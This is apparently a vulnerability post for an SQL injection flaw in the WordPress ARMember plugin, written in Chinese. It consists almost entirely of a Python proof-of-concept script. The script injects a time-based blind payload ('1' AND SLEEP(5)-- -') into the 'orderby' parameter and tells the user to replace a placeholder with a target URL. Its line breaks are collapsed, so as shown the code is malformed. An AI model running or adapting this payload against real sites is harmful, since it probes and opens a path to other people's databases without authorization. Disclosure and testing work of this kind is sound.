CVE-2026-7649 WordPress ARMember插件SQL注入漏洞

#!/usr/bin/env python3 import requests import time def check_sqli(url): # Vulnerable parameter: orderby # Payload for time-based blind SQL injection payload = "1' AND SLEEP(5)-- -" target_url = f"{url}/?arm_action=members&orderby={payload}" try: start_time = time.time() response = requests.get(target_url, timeout=10) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time >= 5: print(f"[+] Vulnerability confirmed! Response time: {elapsed_time:.2f}s") else: print(f"[-] Not vulnerable or patched. Response time: {elapsed_time:.2f}s") except requests.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL check_sqli(target)